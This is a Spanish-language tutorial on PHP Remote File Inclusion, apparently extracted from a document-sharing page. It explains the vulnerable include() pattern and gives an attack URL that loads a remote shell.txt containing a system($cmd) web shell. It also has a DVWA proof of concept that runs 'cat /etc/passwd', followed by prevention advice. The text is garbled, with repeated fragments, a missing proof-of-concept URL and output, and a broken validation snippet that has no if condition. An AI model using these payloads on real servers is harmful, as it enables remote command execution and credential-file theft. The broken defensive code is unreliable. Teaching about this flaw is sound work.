Está en la página 1de 6

INTRODUCCION

Remote File Inclusión traducido al español como Inclusión Remota de Archivos.

Es una Vulnerabilidad

existente solamente en páginas de tipo dinámicas en PHP

que permiten el enlace de archivos remotos situados en otros servidores a causa de

una mala programación de la página que contiene la función include().

Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier

otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota

de archivos ajenos al servidor.

Algunas de las funciones

que podemos mencionar son include, include_once,

require, require_once estas son utilizadas para incluir en una misma página otras

páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas

razones de programación.

Principales vectores de ataque.

Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.

Una página vulnerable que presente un aspecto similar a este en su URL:

http://[servidor_victima]/index.php?page=plantilla.html

El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:

http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&

cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

<?

system($cmd);

?>

El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.

Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior

<?

include_once($page)

?>

Prueba de Concepto en Plataforma DVWA

?> Prueba de Concepto en Plataforma DVWA La manera de ejecutarlo es posicionando un script en

La manera de ejecutarlo es posicionando un script en un servidor al que tengamos acceso y cargarlo con su dirección completa de esta manera:

Lo cual nos debería ejecutar el código contenido en el archivo header.inc.php, el cual es:

<?php

print system("cat /etc/passwd");

?>

Que nos tendría que devolver algo similar a lo siguiente de funcionar embebido en nuestro dvwa:

a lo siguiente de funcionar embebido en nuestro dvwa: Como prevenir esta vulnerabilidad. Algunas De la

Como prevenir esta vulnerabilidad.

Algunas De la pautas para prevenir este tipo de ataques, es posible utilizar o bien el

indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u

otro indicador tal como "includes/".

De esta forma no podría utilizar la variable page para RFI. Aunque nos podría hacer

vulnerables a que un atacante incluya archivos en el servidor donde estamos.

Otra solución más avanzada es aplicar una validación de la variable enviada como

parámetro, descartando la inclusión de archivos remotos no deseados.

<?

die('Error. intento de RFI ');

else

include ($url);

?>

Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.

Bibliografía

Fundación Wikimedia, Inc

2013 a las 16:36., de Licencia Creative Commons Atribución Compartir Igual 3.0;

(11 mar 2013 a las 16:36.). Remote File Inclusion. 11 mar

wiki3. (21 jun. 2008 14:05). Remote File Inclusion. 21 jun. 2008 14:35, de Elhacker.net Sitio web: http://wiki.elhacker.net/bugs-y-exploits/nivel-web/rfi